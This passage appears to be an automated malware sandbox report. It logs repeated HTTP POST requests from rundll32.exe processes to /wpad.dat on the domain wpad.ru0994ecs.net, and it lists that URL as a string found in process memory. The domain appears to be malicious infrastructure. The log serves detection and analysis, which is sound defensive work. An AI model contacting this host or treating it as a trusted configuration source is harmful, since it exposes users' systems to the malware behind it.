Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: unknown

DNS traffic detected: queries for: wpad.ru0994ecs.net

Source: unknown

HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 538Connection: Keep-AliveCache-Control: no-cache

Source: rundll32.exe, 00000003.00000003.1900425076.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1999420548.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1906359698.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1864438428.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1932310717.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2005539819.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1981256882.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3183245920.0000000002CE0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1915508029.0000000002CE6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3478687704.0000000002CE0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2025131776.0000000002CE5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3314356379.0000000002CE0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1961640759.0000000002CE6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3416592082.0000000002CE0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2566941265.0000000002CE5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2061544445.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2446154478.0000000002CE5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2077555864.0000000002CE6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2419474532.0000000002CE5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2706480171.0000000002CE5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1878944569.0000000002CE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft.c
Source: rundll32.exe, 00000003.00000003.2490132601.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1999623328.0000000002683000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3364020428.0000000002677000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2660590828.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2114642381.0000000002675000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2250789067.0000000002677000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2162033052.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3113522873.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2250814212.000000000267C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2463765770.0000000002683000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3317534971.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1981256882.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1703416363.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1832583206.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3205871358.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1900425076.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3317683045.0000000002676000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.3515545940.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2224389107.0000000002676000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2266851055.0000000002683000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3077508164.000000000269C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/
Source: rundll32.exe, 00000003.00000003.2490132601.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3317534971.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2463624537.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2514390319.000000000269C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/$
Source: rundll32.exe, 00000003.00000002.3515545940.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3488651887.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3363949383.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3445890801.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3482061788.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3409796147.000000000269C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/(Th
Source: rundll32.exe, 00000004.00000002.3515675465.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3506254990.0000000003096000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/2
Source: rundll32.exe, 00000003.00000003.1703416363.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1999420548.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1999647591.00000000026BC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2775451537.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2821546858.000000000269C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/4
Source: rundll32.exe, 00000003.00000003.2879671467.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2821546858.000000000269C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/8Ih
Source: rundll32.exe, 00000005.00000003.1961640759.0000000002CE6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1999305434.0000000002CE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/9
Source: rundll32.exe, 00000004.00000003.1905348497.00000000030BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1729855978.0000000002CEC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2482366237.0000000002CE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/:
Source: rundll32.exe, 00000004.00000003.3382273228.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.3515675465.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3460046370.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3506254990.0000000003096000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/B
Source: rundll32.exe, 00000003.00000003.3317534971.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3260916225.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3363949383.000000000269C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/HLh
Source: rundll32.exe, 00000004.00000003.2671081383.0000000003096000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/J
Source: rundll32.exe, 00000003.00000003.2490132601.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2660590828.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2162033052.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1981256882.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1832583206.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1900425076.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1838595869.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1864438428.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1796170581.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2051678434.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2441322143.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2405314352.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1999420548.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2349288767.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1749913253.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2266738274.000000000269C000.00000004.00000020.00020000.00000000.sdmp, 